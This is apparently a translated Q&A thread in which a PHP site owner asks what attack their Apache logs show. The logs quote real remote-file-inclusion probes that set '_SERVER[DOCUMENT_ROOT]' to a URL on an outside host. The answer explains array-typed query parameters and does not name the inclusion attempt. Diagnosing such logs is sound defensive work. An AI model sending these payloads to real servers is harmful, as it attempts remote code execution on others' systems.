在我的Apache错误日志中,我找到了以下行:
[Fri Jul 17 22:15:48.632018 2015] [:error] [pid 2784:tid 1048] [client 97.74.24.134:57050] PHP Warning: htmlspecialchars() expects parameter 1 to be string, array given in C:\\Apache24\\htdocs\\catalog\\private\\class\\ResolvedQuery.class.php on line 361
这条线重复了几次。
在我的访问日志中,我发现了以下请求:
97.74.24.134 - - [17/Jul/2015:22:15:48 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&sa=U&ved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&usg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg////?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 301 448
97.74.24.134 - - [17/Jul/2015:22:15:48 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&%3bsa=U&%3bved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&%3busg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 200 16858
97.74.24.134 - - [17/Jul/2015:22:15:52 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&sa=U&ved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&usg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg////?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 301 472
97.74.24.134 - - [17/Jul/2015:22:15:52 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&%3bsa=U&%3bved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&%3busg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 200 16858
97.74.24.134 - - [17/Jul/2015:22:15:56 +0200] "GET ////?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 200 38779
97.74.24.134 - - [17/Jul/2015:22:15:59 +0200] "GET ////?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 302 189
97.74.24.134 - - [17/Jul/2015:22:16:00 +0200] "GET / HTTP/1.1" 200 12875
97.74.24.134 - - [17/Jul/2015:22:16:03 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen////?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 301 320
97.74.24.134 - - [17/Jul/2015:22:16:04 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 302 189
97.74.24.134 - - [17/Jul/2015:22:16:04 +0200] "GET / HTTP/1.1" 200 12875
97.74.24.134 - - [17/Jul/2015:22:16:07 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen////?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 301 344
97.74.24.134 - - [17/Jul/2015:22:16:08 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 302 189
97.74.24.134 - - [17/Jul/2015:22:16:08 +0200] "GET / HTTP/1.1" 200 12875
我使用.htaccess文件将所有请求引导到index.php文件中。 从那时起,我处理这样的请求:
$query = str_replace('_url=/', '', $_SERVER['QUERY_STRING']);
从那时起,我在$ query上做了一些操作。
然后,触发错误的代码部分如下:
//sanitize requests array.
if (!empty($_REQUEST)){
foreach($_REQUEST as $req => $value){
$p = htmlspecialchars($req);
$v = htmlspecialchars($value); // THIS LINE TRIGGERS THE ERROR!
$this->requests[$p] = $v;
}
}
现在,这是什么样的攻击?这里提供的代码是否保护我免受此攻击?如果没有,我该怎么做才能防止这种攻击呢?
我在Win7上使用Apache 2.4,php 5.6
答案 0 :(得分:1)
经常监督您可以将数组传递给$ _GET和$ _POST。如果我们举一个简单的例子,就像这样的GET:
http://example.com/page.php?foo[bar]=0&foo[baz]=1
$_GET
是一个带有键的数组' foo'它包含一个带键的数组' bar'和' baz':
$_GET['foo']['bar']=0
和$_GET['foo']['baz']=1
在您的情况下,当他们要求包含_SERVER[DOCUMENT_ROOT]=test
参数的网页时,他们会创建:$_REQUEST['_SERVER']['DOCUMENT_ROOT'] = test
。
由此,当你循环$_REQUEST
数组时,你没有考虑到你可以有一个字符串数组而不是一个字符串,而函数htmlspecialchars
接收一个数组作为参数==> error: expects parameter 1 to be string, array given
您应该重写代码以检查$value
是否为数组,并以递归方式检查它。知道这一点的任何人都可以使用这样一个数组参数链接到您的网站,并且跟随此链接的访问者将看到一个损坏的页面......
$_GET
和$_POST
而不是$ _REQUEST,因为如果你在GET参数和POST参数中有相同的密钥,POST键通常会覆盖GET键(可以使用php.ini设置顺序)。